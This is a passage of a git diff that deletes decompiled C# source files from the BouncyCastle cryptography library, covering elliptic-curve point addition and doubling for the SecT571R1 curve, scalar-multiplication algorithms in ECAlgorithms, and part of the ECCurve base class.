(rawXCoord.IsZero) - { - if (rawXCoord2.IsZero) - { - return curve.Infinity; - } - return b.Add(this); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement3 = rawXCoord2; - ECFieldElement eCFieldElement4 = rawYCoord2; - if (!isOne) - { - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement5 = rawXCoord; - ECFieldElement eCFieldElement6 = rawYCoord; - if (!isOne2) - { - eCFieldElement5 = eCFieldElement5.Multiply(eCFieldElement2); - eCFieldElement6 = eCFieldElement6.Multiply(eCFieldElement2); - } - ECFieldElement eCFieldElement7 = eCFieldElement6.Add(eCFieldElement4); - ECFieldElement eCFieldElement8 = eCFieldElement5.Add(eCFieldElement3); - if (eCFieldElement8.IsZero) - { - if (eCFieldElement7.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement10; - ECFieldElement y; - ECFieldElement eCFieldElement12; - if (rawXCoord2.IsZero) - { - ECPoint eCPoint = Normalize(); - rawXCoord = eCPoint.XCoord; - ECFieldElement yCoord = eCPoint.YCoord; - ECFieldElement b2 = rawYCoord2; - ECFieldElement eCFieldElement9 = yCoord.Add(b2).Divide(rawXCoord); - eCFieldElement10 = eCFieldElement9.Square().Add(eCFieldElement9).Add(rawXCoord) - .AddOne(); - if (eCFieldElement10.IsZero) - { - return new SecT571R1Point(curve, eCFieldElement10, SecT571R1Curve.SecT571R1_B_SQRT, base.IsCompressed); - } - ECFieldElement eCFieldElement11 = eCFieldElement9.Multiply(rawXCoord.Add(eCFieldElement10)).Add(eCFieldElement10).Add(yCoord); - y = eCFieldElement11.Divide(eCFieldElement10).Add(eCFieldElement10); - eCFieldElement12 = curve.FromBigInteger(BigInteger.One); - } - else - { - eCFieldElement8 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement13 = eCFieldElement7.Multiply(eCFieldElement5); - ECFieldElement eCFieldElement14 = eCFieldElement7.Multiply(eCFieldElement3); - eCFieldElement10 = eCFieldElement13.Multiply(eCFieldElement14); - if (eCFieldElement10.IsZero) - { - return new SecT571R1Point(curve, eCFieldElement10, SecT571R1Curve.SecT571R1_B_SQRT, base.IsCompressed); - } - ECFieldElement eCFieldElement15 = eCFieldElement7.Multiply(eCFieldElement8); - if (!isOne2) - { - eCFieldElement15 = eCFieldElement15.Multiply(eCFieldElement2); - } - y = eCFieldElement14.Add(eCFieldElement8).SquarePlusProduct(eCFieldElement15, rawYCoord.Add(eCFieldElement)); - eCFieldElement12 = eCFieldElement15; - if (!isOne) - { - eCFieldElement12 = eCFieldElement12.Multiply(eCFieldElement); - } - } - return new SecT571R1Point(curve, eCFieldElement10, y, new ECFieldElement[1] { eCFieldElement12 }, base.IsCompressed); - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return curve.Infinity; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = (isOne ? rawYCoord : rawYCoord.Multiply(eCFieldElement)); - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement3 = rawYCoord.Square().Add(eCFieldElement2).Add(b); - if (eCFieldElement3.IsZero) - { - return new SecT571R1Point(curve, eCFieldElement3, SecT571R1Curve.SecT571R1_B_SQRT, base.IsCompressed); - } - ECFieldElement eCFieldElement4 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement5 = (isOne ? eCFieldElement3 : eCFieldElement3.Multiply(b)); - ECFieldElement eCFieldElement6 = (isOne ? rawXCoord : rawXCoord.Multiply(eCFieldElement)); - ECFieldElement y = eCFieldElement6.SquarePlusProduct(eCFieldElement3, eCFieldElement2).Add(eCFieldElement4).Add(eCFieldElement5); - return new SecT571R1Point(curve, eCFieldElement4, y, new ECFieldElement[1] { eCFieldElement5 }, base.IsCompressed); - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return b; - } - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement eCFieldElement = b.RawZCoords[0]; - if (rawXCoord2.IsZero || !eCFieldElement.IsOne) - { - return Twice().Add(b); - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement2 = base.RawZCoords[0]; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement x = rawXCoord.Square(); - ECFieldElement b2 = rawYCoord.Square(); - ECFieldElement eCFieldElement3 = eCFieldElement2.Square(); - ECFieldElement b3 = rawYCoord.Multiply(eCFieldElement2); - ECFieldElement b4 = eCFieldElement3.Add(b2).Add(b3); - ECFieldElement eCFieldElement4 = rawYCoord2.Multiply(eCFieldElement3).Add(b2).MultiplyPlusProduct(b4, x, eCFieldElement3); - ECFieldElement eCFieldElement5 = rawXCoord2.Multiply(eCFieldElement3); - ECFieldElement eCFieldElement6 = eCFieldElement5.Add(b4).Square(); - if (eCFieldElement6.IsZero) - { - if (eCFieldElement4.IsZero) - { - return b.Twice(); - } - return curve.Infinity; - } - if (eCFieldElement4.IsZero) - { - return new SecT571R1Point(curve, eCFieldElement4, SecT571R1Curve.SecT571R1_B_SQRT, base.IsCompressed); - } - ECFieldElement x2 = eCFieldElement4.Square().Multiply(eCFieldElement5); - ECFieldElement eCFieldElement7 = eCFieldElement4.Multiply(eCFieldElement6).Multiply(eCFieldElement3); - ECFieldElement y = eCFieldElement4.Add(eCFieldElement6).Square().MultiplyPlusProduct(b4, rawYCoord2.AddOne(), eCFieldElement7); - return new SecT571R1Point(curve, x2, y, new ECFieldElement[1] { eCFieldElement7 }, base.IsCompressed); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawXCoord = base.RawXCoord; - if (rawXCoord.IsZero) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - return new SecT571R1Point(Curve, rawXCoord, rawYCoord.Add(eCFieldElement), new ECFieldElement[1] { eCFieldElement }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECAlgorithms.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECAlgorithms.cs deleted file mode 100644 index ecdcd27..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECAlgorithms.cs +++ /dev/null @@ -1,424 +0,0 @@ -using System; -using Org.BouncyCastle.Math.EC.Endo; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Math.Field; - -namespace Org.BouncyCastle.Math.EC; - -public class ECAlgorithms -{ - public static bool IsF2mCurve(ECCurve c) - { - return IsF2mField(c.Field); - } - - public static bool IsF2mField(IFiniteField field) - { - if (field.Dimension > 1 && field.Characteristic.Equals(BigInteger.Two)) - { - return field is IPolynomialExtensionField; - } - return false; - } - - public static bool IsFpCurve(ECCurve c) - { - return IsFpField(c.Field); - } - - public static bool IsFpField(IFiniteField field) - { - return field.Dimension == 1; - } - - public static ECPoint SumOfMultiplies(ECPoint[] ps, BigInteger[] ks) - { - if (ps == null || ks == null || ps.Length != ks.Length || ps.Length < 1) - { - throw new ArgumentException("point and scalar arrays should be non-null, and of equal, non-zero, length"); - } - int num = ps.Length; - switch (num) - { - case 1: - return ps[0].Multiply(ks[0]); - case 2: - return SumOfTwoMultiplies(ps[0], ks[0], ps[1], ks[1]); - default: - { - ECPoint eCPoint = ps[0]; - ECCurve curve = eCPoint.Curve; - ECPoint[] array = new ECPoint[num]; - array[0] = eCPoint; - for (int i = 1; i < num; i++) - { - array[i] = ImportPoint(curve, ps[i]); - } - if (curve.GetEndomorphism() is GlvEndomorphism glvEndomorphism) - { - return ImplCheckResult(ImplSumOfMultipliesGlv(array, ks, glvEndomorphism)); - } - return ImplCheckResult(ImplSumOfMultiplies(array, ks)); - } - } - } - - public static ECPoint SumOfTwoMultiplies(ECPoint P, BigInteger a, ECPoint Q, BigInteger b) - { - ECCurve curve = P.Curve; - Q = ImportPoint(curve, Q); - if (curve is AbstractF2mCurve { IsKoblitz: not false }) - { - return ImplCheckResult(P.Multiply(a).Add(Q.Multiply(b))); - } - if (curve.GetEndomorphism() is GlvEndomorphism glvEndomorphism) - { - return ImplCheckResult(ImplSumOfMultipliesGlv(new ECPoint[2] { P, Q }, new BigInteger[2] { a, b }, glvEndomorphism)); - } - return ImplCheckResult(ImplShamirsTrickWNaf(P, a, Q, b)); - } - - public static ECPoint ShamirsTrick(ECPoint P, BigInteger k, ECPoint Q, BigInteger l) - { - ECCurve curve = P.Curve; - Q = ImportPoint(curve, Q); - return ImplCheckResult(ImplShamirsTrickJsf(P, k, Q, l)); - } - - public static ECPoint ImportPoint(ECCurve c, ECPoint p) - { - ECCurve curve = p.Curve; - if (!c.Equals(curve)) - { - throw new ArgumentException("Point must be on the same curve"); - } - return c.ImportPoint(p); - } - - public static void MontgomeryTrick(ECFieldElement[] zs, int off, int len) - { - MontgomeryTrick(zs, off, len, null); - } - - public static void MontgomeryTrick(ECFieldElement[] zs, int off, int len, ECFieldElement scale) - { - ECFieldElement[] array = new ECFieldElement[len]; - array[0] = zs[off]; - int num = 0; - while (++num < len) - { - array[num] = array[num - 1].Multiply(zs[off + num]); - } - num--; - if (scale != null) - { - array[num] = array[num].Multiply(scale); - } - ECFieldElement eCFieldElement = array[num].Invert(); - while (num > 0) - { - int num2 = off + num--; - ECFieldElement b = zs[num2]; - zs[num2] = array[num].Multiply(eCFieldElement); - eCFieldElement = eCFieldElement.Multiply(b); - } - zs[off] = eCFieldElement; - } - - public static ECPoint ReferenceMultiply(ECPoint p, BigInteger k) - { - BigInteger bigInteger = k.Abs(); - ECPoint eCPoint = p.Curve.Infinity; - int bitLength = bigInteger.BitLength; - if (bitLength > 0) - { - if (bigInteger.TestBit(0)) - { - eCPoint = p; - } - for (int i = 1; i < bitLength; i++) - { - p = p.Twice(); - if (bigInteger.TestBit(i)) - { - eCPoint = eCPoint.Add(p); - } - } - } - if (k.SignValue >= 0) - { - return eCPoint; - } - return eCPoint.Negate(); - } - - public static ECPoint ValidatePoint(ECPoint p) - { - if (!p.IsValid()) - { - throw new InvalidOperationException("Invalid point"); - } - return p; - } - - public static ECPoint CleanPoint(ECCurve c, ECPoint p) - { - ECCurve curve = p.Curve; - if (!c.Equals(curve)) - { - throw new ArgumentException("Point must be on the same curve", "p"); - } - return c.DecodePoint(p.GetEncoded(compressed: false)); - } - - internal static ECPoint ImplCheckResult(ECPoint p) - { - if (!p.IsValidPartial()) - { - throw new InvalidOperationException("Invalid result"); - } - return p; - } - - internal static ECPoint ImplShamirsTrickJsf(ECPoint P, BigInteger k, ECPoint Q, BigInteger l) - { - ECCurve curve = P.Curve; - ECPoint infinity = curve.Infinity; - ECPoint eCPoint = P.Add(Q); - ECPoint eCPoint2 = P.Subtract(Q); - ECPoint[] array = new ECPoint[4] { Q, eCPoint2, P, eCPoint }; - curve.NormalizeAll(array); - ECPoint[] array2 = new ECPoint[9] - { - array[3].Negate(), - array[2].Negate(), - array[1].Negate(), - array[0].Negate(), - infinity, - array[0], - array[1], - array[2], - array[3] - }; - byte[] array3 = WNafUtilities.GenerateJsf(k, l); - ECPoint eCPoint3 = infinity; - int num = array3.Length; - while (--num >= 0) - { - int num2 = array3[num]; - int num3 = num2 << 24 >> 28; - int num4 = num2 << 28 >> 28; - int num5 = 4 + num3 * 3 + num4; - eCPoint3 = eCPoint3.TwicePlus(array2[num5]); - } - return eCPoint3; - } - - internal static ECPoint ImplShamirsTrickWNaf(ECPoint P, BigInteger k, ECPoint Q, BigInteger l) - { - bool flag = k.SignValue < 0; - bool flag2 = l.SignValue < 0; - k = k.Abs(); - l = l.Abs(); - int width = System.Math.Max(2, System.Math.Min(16, WNafUtilities.GetWindowSize(k.BitLength))); - int width2 = System.Math.Max(2, System.Math.Min(16, WNafUtilities.GetWindowSize(l.BitLength))); - WNafPreCompInfo wNafPreCompInfo = WNafUtilities.Precompute(P, width, includeNegated: true); - WNafPreCompInfo wNafPreCompInfo2 = WNafUtilities.Precompute(Q, width2, includeNegated: true); - ECPoint[] preCompP = (flag ? wNafPreCompInfo.PreCompNeg : wNafPreCompInfo.PreComp); - ECPoint[] preCompQ = (flag2 ? wNafPreCompInfo2.PreCompNeg : wNafPreCompInfo2.PreComp); - ECPoint[] preCompNegP = (flag ? wNafPreCompInfo.PreComp : wNafPreCompInfo.PreCompNeg); - ECPoint[] preCompNegQ = (flag2 ? wNafPreCompInfo2.PreComp : wNafPreCompInfo2.PreCompNeg); - byte[] wnafP = WNafUtilities.GenerateWindowNaf(width, k); - byte[] wnafQ = WNafUtilities.GenerateWindowNaf(width2, l); - return ImplShamirsTrickWNaf(preCompP, preCompNegP, wnafP, preCompQ, preCompNegQ, wnafQ); - } - - internal static ECPoint ImplShamirsTrickWNaf(ECPoint P, BigInteger k, ECPointMap pointMapQ, BigInteger l) - { - bool flag = k.SignValue < 0; - bool flag2 = l.SignValue < 0; - k = k.Abs(); - l = l.Abs(); - int width = System.Math.Max(2, System.Math.Min(16, WNafUtilities.GetWindowSize(System.Math.Max(k.BitLength, l.BitLength)))); - ECPoint p = WNafUtilities.MapPointWithPrecomp(P, width, includeNegated: true, pointMapQ); - WNafPreCompInfo wNafPreCompInfo = WNafUtilities.GetWNafPreCompInfo(P); - WNafPreCompInfo wNafPreCompInfo2 = WNafUtilities.GetWNafPreCompInfo(p); - ECPoint[] preCompP = (flag ? wNafPreCompInfo.PreCompNeg : wNafPreCompInfo.PreComp); - ECPoint[] preCompQ = (flag2 ? wNafPreCompInfo2.PreCompNeg : wNafPreCompInfo2.PreComp); - ECPoint[] preCompNegP = (flag ? wNafPreCompInfo.PreComp : wNafPreCompInfo.PreCompNeg); - ECPoint[] preCompNegQ = (flag2 ? wNafPreCompInfo2.PreComp : wNafPreCompInfo2.PreCompNeg); - byte[] wnafP = WNafUtilities.GenerateWindowNaf(width, k); - byte[] wnafQ = WNafUtilities.GenerateWindowNaf(width, l); - return ImplShamirsTrickWNaf(preCompP, preCompNegP, wnafP, preCompQ, preCompNegQ, wnafQ); - } - - private static ECPoint ImplShamirsTrickWNaf(ECPoint[] preCompP, ECPoint[] preCompNegP, byte[] wnafP, ECPoint[] preCompQ, ECPoint[] preCompNegQ, byte[] wnafQ) - { - int num = System.Math.Max(wnafP.Length, wnafQ.Length); - ECCurve curve = preCompP[0].Curve; - ECPoint infinity = curve.Infinity; - ECPoint eCPoint = infinity; - int num2 = 0; - for (int num3 = num - 1; num3 >= 0; num3--) - { - int num4 = ((num3 < wnafP.Length) ? ((sbyte)wnafP[num3]) : 0); - int num5 = ((num3 < wnafQ.Length) ? ((sbyte)wnafQ[num3]) : 0); - if ((num4 | num5) == 0) - { - num2++; - } - else - { - ECPoint eCPoint2 = infinity; - if (num4 != 0) - { - int num6 = System.Math.Abs(num4); - ECPoint[] array = ((num4 < 0) ? preCompNegP : preCompP); - eCPoint2 = eCPoint2.Add(array[num6 >> 1]); - } - if (num5 != 0) - { - int num7 = System.Math.Abs(num5); - ECPoint[] array2 = ((num5 < 0) ? preCompNegQ : preCompQ); - eCPoint2 = eCPoint2.Add(array2[num7 >> 1]); - } - if (num2 > 0) - { - eCPoint = eCPoint.TimesPow2(num2); - num2 = 0; - } - eCPoint = eCPoint.TwicePlus(eCPoint2); - } - } - if (num2 > 0) - { - eCPoint = eCPoint.TimesPow2(num2); - } - return eCPoint; - } - - internal static ECPoint ImplSumOfMultiplies(ECPoint[] ps, BigInteger[] ks) - { - int num = ps.Length; - bool[] array = new bool[num]; - WNafPreCompInfo[] array2 = new WNafPreCompInfo[num]; - byte[][] array3 = new byte[num][]; - for (int i = 0; i < num; i++) - { - BigInteger bigInteger = ks[i]; - array[i] = bigInteger.SignValue < 0; - bigInteger = bigInteger.Abs(); - int width = System.Math.Max(2, System.Math.Min(16, WNafUtilities.GetWindowSize(bigInteger.BitLength))); - array2[i] = WNafUtilities.Precompute(ps[i], width, includeNegated: true); - array3[i] = WNafUtilities.GenerateWindowNaf(width, bigInteger); - } - return ImplSumOfMultiplies(array, array2, array3); - } - - internal static ECPoint ImplSumOfMultipliesGlv(ECPoint[] ps, BigInteger[] ks, GlvEndomorphism glvEndomorphism) - { - BigInteger order = ps[0].Curve.Order; - int num = ps.Length; - BigInteger[] array = new BigInteger[num << 1]; - int i = 0; - int num2 = 0; - for (; i < num; i++) - { - BigInteger[] array2 = glvEndomorphism.DecomposeScalar(ks[i].Mod(order)); - array[num2++] = array2[0]; - array[num2++] = array2[1]; - } - ECPointMap pointMap = glvEndomorphism.PointMap; - if (glvEndomorphism.HasEfficientPointMap) - { - return ImplSumOfMultiplies(ps, pointMap, array); - } - ECPoint[] array3 = new ECPoint[num << 1]; - int j = 0; - int num3 = 0; - for (; j < num; j++) - { - ECPoint eCPoint = ps[j]; - ECPoint eCPoint2 = pointMap.Map(eCPoint); - array3[num3++] = eCPoint; - array3[num3++] = eCPoint2; - } - return ImplSumOfMultiplies(array3, array); - } - - internal static ECPoint ImplSumOfMultiplies(ECPoint[] ps, ECPointMap pointMap, BigInteger[] ks) - { - int num = ps.Length; - int num2 = num << 1; - bool[] array = new bool[num2]; - WNafPreCompInfo[] array2 = new WNafPreCompInfo[num2]; - byte[][] array3 = new byte[num2][]; - for (int i = 0; i < num; i++) - { - int num3 = i << 1; - int num4 = num3 + 1; - BigInteger bigInteger = ks[num3]; - array[num3] = bigInteger.SignValue < 0; - bigInteger = bigInteger.Abs(); - BigInteger bigInteger2 = ks[num4]; - array[num4] = bigInteger2.SignValue < 0; - bigInteger2 = bigInteger2.Abs(); - int width = System.Math.Max(2, System.Math.Min(16, WNafUtilities.GetWindowSize(System.Math.Max(bigInteger.BitLength, bigInteger2.BitLength)))); - ECPoint p = ps[i]; - ECPoint p2 = WNafUtilities.MapPointWithPrecomp(p, width, includeNegated: true, pointMap); - array2[num3] = WNafUtilities.GetWNafPreCompInfo(p); - array2[num4] = WNafUtilities.GetWNafPreCompInfo(p2); - array3[num3] = WNafUtilities.GenerateWindowNaf(width, bigInteger); - array3[num4] = WNafUtilities.GenerateWindowNaf(width, bigInteger2); - } - return ImplSumOfMultiplies(array, array2, array3); - } - - private static ECPoint ImplSumOfMultiplies(bool[] negs, WNafPreCompInfo[] infos, byte[][] wnafs) - { - int num = 0; - int num2 = wnafs.Length; - for (int i = 0; i < num2; i++) - { - num = System.Math.Max(num, wnafs[i].Length); - } - ECCurve curve = infos[0].PreComp[0].Curve; - ECPoint infinity = curve.Infinity; - ECPoint eCPoint = infinity; - int num3 = 0; - for (int num4 = num - 1; num4 >= 0; num4--) - { - ECPoint eCPoint2 = infinity; - for (int j = 0; j < num2; j++) - { - byte[] array = wnafs[j]; - int num5 = ((num4 < array.Length) ? ((sbyte)array[num4]) : 0); - if (num5 != 0) - { - int num6 = System.Math.Abs(num5); - WNafPreCompInfo wNafPreCompInfo = infos[j]; - ECPoint[] array2 = ((num5 < 0 == negs[j]) ? wNafPreCompInfo.PreComp : wNafPreCompInfo.PreCompNeg); - eCPoint2 = eCPoint2.Add(array2[num6 >> 1]); - } - } - if (eCPoint2 == infinity) - { - num3++; - } - else - { - if (num3 > 0) - { - eCPoint = eCPoint.TimesPow2(num3); - num3 = 0; - } - eCPoint = eCPoint.TwicePlus(eCPoint2); - } - } - if (num3 > 0) - { - eCPoint = eCPoint.TimesPow2(num3); - } - return eCPoint; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECCurve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECCurve.cs deleted file mode 100644 index 3fea0c7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/ECCurve.cs +++ /dev/null @@ -1,494 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Math.EC.Endo; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Math.Field; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC; - -public abstract class ECCurve -{ - public class Config - { - protected ECCurve outer; - - protected int coord; - - protected ECEndomorphism endomorphism; - - protected ECMultiplier multiplier; - - internal Config(ECCurve outer, int coord, ECEndomorphism endomorphism, ECMultiplier multiplier) - { - this.outer = outer; - this.coord = coord; - this.endomorphism = endomorphism; - this.multiplier = multiplier; - } - - public Config SetCoordinateSystem(int coord) - { - this.coord = coord; - return this; - } - - public Config SetEndomorphism(ECEndomorphism endomorphism) - { - this.endomorphism = endomorphism; - return this; - } - - public Config SetMultiplier(ECMultiplier multiplier) - { - this.multiplier = multiplier; - return this; - } - - public ECCurve Create() - { - if (!outer.SupportsCoordinateSystem(coord)) - { - throw new InvalidOperationException("unsupported coordinate system"); - } - ECCurve eCCurve = outer.CloneCurve(); - if (eCCurve == outer) - { - throw new InvalidOperationException("implementation returned current curve"); - } - eCCurve.m_coord = coord; - eCCurve.m_endomorphism = endomorphism; - eCCurve.m_multiplier = multiplier; - return eCCurve; - } - } - - private class DefaultLookupTable : ECLookupTable - { - private readonly ECCurve m_outer; - - private readonly byte[] m_table; - - private readonly int m_size; - - public virtual int Size => m_size; - - internal DefaultLookupTable(ECCurve outer, byte[] table, int size) - { - m_outer = outer; - m_table = table; - m_size = size; - } - - public virtual ECPoint Lookup(int index) - { - int num = (m_outer.FieldSize + 7) / 8; - byte[] array = new byte[num]; - byte[] array2 = new byte[num]; - int num2 = 0; - for (int i = 0; i < m_size; i++) - { - byte b = (byte)((i ^ index) - 1 >> 31); - for (int j = 0; j < num; j++) - { - byte[] array4; - byte[] array3 = (array4 = array); - int num3 = j; - nint num4 = num3; - array3[num3] = (byte)(array4[num4] ^ (byte)(m_table[num2 + j] & b)); - byte[] array5 = (array4 = array2); - int num5 = j; - num4 = num5; - array5[num5] = (byte)(array4[num4] ^ (byte)(m_table[num2 + num + j] & b)); - } - num2 += num * 2; - } - ECFieldElement x = m_outer.FromBigInteger(new BigInteger(1, array)); - ECFieldElement y = m_outer.FromBigInteger(new BigInteger(1, array2)); - return m_outer.CreateRawPoint(x, y, withCompression: false); - } - } - - public const int COORD_AFFINE = 0; - - public const int COORD_HOMOGENEOUS = 1; - - public const int COORD_JACOBIAN = 2; - - public const int COORD_JACOBIAN_CHUDNOVSKY = 3; - - public const int COORD_JACOBIAN_MODIFIED = 4; - - public const int COORD_LAMBDA_AFFINE = 5; - - public const int COORD_LAMBDA_PROJECTIVE = 6; - - public const int COORD_SKEWED = 7; - - protected readonly IFiniteField m_field; - - protected ECFieldElement m_a; - - protected ECFieldElement m_b; - - protected BigInteger m_order; - - protected BigInteger m_cofactor; - - protected int m_coord = 0; - - protected ECEndomorphism m_endomorphism = null; - - protected ECMultiplier m_multiplier = null; - - public abstract int FieldSize { get; } - - public abstract ECPoint Infinity { get; } - - public virtual IFiniteField Field => m_field; - - public virtual ECFieldElement A => m_a; - - public virtual ECFieldElement B => m_b; - - public virtual BigInteger Order => m_order; - - public virtual BigInteger Cofactor => m_cofactor; - - public virtual int CoordinateSystem => m_coord; - - public static int[] GetAllCoordinateSystems() - { - return new int[8] { 0, 1, 2, 3, 4, 5, 6, 7 }; - } - - protected ECCurve(IFiniteField field) - { - m_field = field; - } - - public abstract ECFieldElement FromBigInteger(BigInteger x); - - public abstract bool IsValidFieldElement(BigInteger x); - - public virtual Config Configure() - { - return new Config(this, m_coord, m_endomorphism, m_multiplier); - } - - public virtual ECPoint ValidatePoint(BigInteger x, BigInteger y) - { - ECPoint eCPoint = CreatePoint(x, y); - if (!eCPoint.IsValid()) - { - throw new ArgumentException("Invalid point coordinates"); - } - return eCPoint; - } - - [Obsolete("Per-point compression property will be removed")] - public virtual ECPoint ValidatePoint(BigInteger x, BigInteger y, bool withCompression) - { - ECPoint eCPoint = CreatePoint(x, y, withCompression); - if (!eCPoint.IsValid()) - { - throw new ArgumentException("Invalid point coordinates"); - } - return eCPoint; - } - - public virtual ECPoint CreatePoint(BigInteger x, BigInteger y) - { - return CreatePoint(x, y, withCompression: false); - } - - [Obsolete("Per-point compression property will be removed")] - public virtual ECPoint CreatePoint(BigInteger x, BigInteger y, bool withCompression) - { - return CreateRawPoint(FromBigInteger(x), FromBigInteger(y), withCompression); - } - - protected abstract ECCurve CloneCurve(); - - protected internal abstract ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, bool withCompression); - - protected internal abstract ECPoint CreateRawPoint(ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression); - - protected virtual ECMultiplier CreateDefaultMultiplier() - { - if (m_endomorphism is GlvEndomorphism glvEndomorphism) - { - return new GlvMultiplier(this, glvEndomorphism); - } - return new WNafL2RMultiplier(); - } - - public virtual bool SupportsCoordinateSystem(int coord) - { - return coord == 0; - } - - public virtual PreCompInfo GetPreCompInfo(ECPoint point, string name) - { - CheckPoint(point); - IDictionary preCompTable; - lock (point) - { - preCompTable = point.m_preCompTable; - } - if (preCompTable == null) - { - return null; - } - lock (preCompTable) - { - return (PreCompInfo)preCompTable[name]; - } - } - - public virtual PreCompInfo Precompute(ECPoint point, string name, IPreCompCallback callback) - { - CheckPoint(point); - IDictionary dictionary; - lock (point) - { - dictionary = point.m_preCompTable; - if (dictionary == null) - { - dictionary = (point.m_preCompTable = Platform.CreateHashtable(4)); - } - } - lock (dictionary) - { - PreCompInfo preCompInfo = (PreCompInfo)dictionary[name]; - PreCompInfo preCompInfo2 = callback.Precompute(preCompInfo); - if (preCompInfo2 != preCompInfo) - { - dictionary[name] = preCompInfo2; - } - return preCompInfo2; - } - } - - public virtual ECPoint ImportPoint(ECPoint p) - { - if (this == p.Curve) - { - return p; - } - if (p.IsInfinity) - { - return Infinity; - } - p = p.Normalize(); - return CreatePoint(p.XCoord.ToBigInteger(), p.YCoord.ToBigInteger(), p.IsCompressed); - } - - public virtual void NormalizeAll(ECPoint[] points) - { - NormalizeAll(points, 0, points.Length, null); - } - - public virtual void NormalizeAll(ECPoint[] points, int off, int len, ECFieldElement iso) - { - CheckPoints(points, off, len); - int coordinateSystem = CoordinateSystem; - if (coordinateSystem == 0 || coordinateSystem == 5) - { - if (iso != null) - { - throw new ArgumentException("not valid for affine coordinates", "iso"); - } - return; - } - ECFieldElement[] array = new ECFieldElement[len]; - int[] array2 = new int[len]; - int num = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - if (eCPoint != null && (iso != null || !eCPoint.IsNormalized())) - { - array[num] = eCPoint.GetZCoord(0); - array2[num++] = off + i; - } - } - if (num != 0) - { - ECAlgorithms.MontgomeryTrick(array, 0, num, iso); - for (int j = 0; j < num; j++) - { - int num2 = array2[j]; - points[num2] = points[num2].Normalize(array[j]); - } - } - } - - public virtual ECLookupTable CreateCacheSafeLookupTable(ECPoint[] points, int off, int len) - { - int num = (FieldSize + 7) / 8; - byte[] array = new byte[len * num * 2]; - int num2 = 0; - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - byte[] array2 = eCPoint.RawXCoord.ToBigInteger().ToByteArray(); - byte[] array3 = eCPoint.RawYCoord.ToBigInteger().ToByteArray(); - int num3 = ((array2.Length > num) ? 1 : 0); - int num4 = array2.Length - num3; - int num5 = ((array3.Length > num) ? 1 : 0); - int num6 = array3.Length - num5; - Array.Copy(array2, num3, array, num2 + num - num4, num4); - num2 += num; - Array.Copy(array3, num5, array, num2 + num - num6, num6); - num2 += num; - } - return new DefaultLookupTable(this, array, len); - } - - protected virtual void CheckPoint(ECPoint point) - { - if (point == null || this != point.Curve) - { - throw new ArgumentException("must be non-null and on this curve", "point"); - } - } - - protected virtual void CheckPoints(ECPoint[] points) - { - CheckPoints(points, 0, points.Length); - } - - protected virtual void CheckPoints(ECPoint[] points, int off, int len) - { - if (points == null) - { - throw new ArgumentNullException("points"); - } - if (off < 0 || len < 0 || off > points.Length - len) - { - throw new ArgumentException("invalid range specified", "points"); - } - for (int i = 0; i < len; i++) - { - ECPoint eCPoint = points[off + i]; - if (eCPoint != null && this != eCPoint.Curve) - { - throw new ArgumentException("entries must be null or on this curve", "points"); - } - } - } - - public virtual bool Equals(ECCurve other) - { - if (this == other) - { - return true; - } - if (other == null) - { - return false; - } - if (Field.Equals(other.Field) && A.ToBigInteger().Equals(other.A.ToBigInteger())) - { - return B.ToBigInteger().Equals(other.B.ToBigInteger()); - } - return false; - } - - public override bool Equals(object obj) - { - return Equals(obj as ECCurve); - } - - public override int GetHashCode() - { - return Field.GetHashCode() ^ Integers.RotateLeft(A.ToBigInteger().GetHashCode(), 8) ^ Integers.RotateLeft(B.ToBigInteger().GetHashCode(), 16); - } - - protected abstract ECPoint DecompressPoint(int yTilde, BigInteger X1); - - public virtual ECEndomorphism GetEndomorphism() - { - return m_endomorphism; - } - - public virtual ECMultiplier GetMultiplier() - { - lock (this) - { - if (m_multiplier == null) - { - m_multiplier = CreateDefaultMultiplier(); - } - return m_multiplier; - } - } - - public virtual ECPoint DecodePoint(byte[] encoded) - { - ECPoint eCPoint = null; - int num = (FieldSize 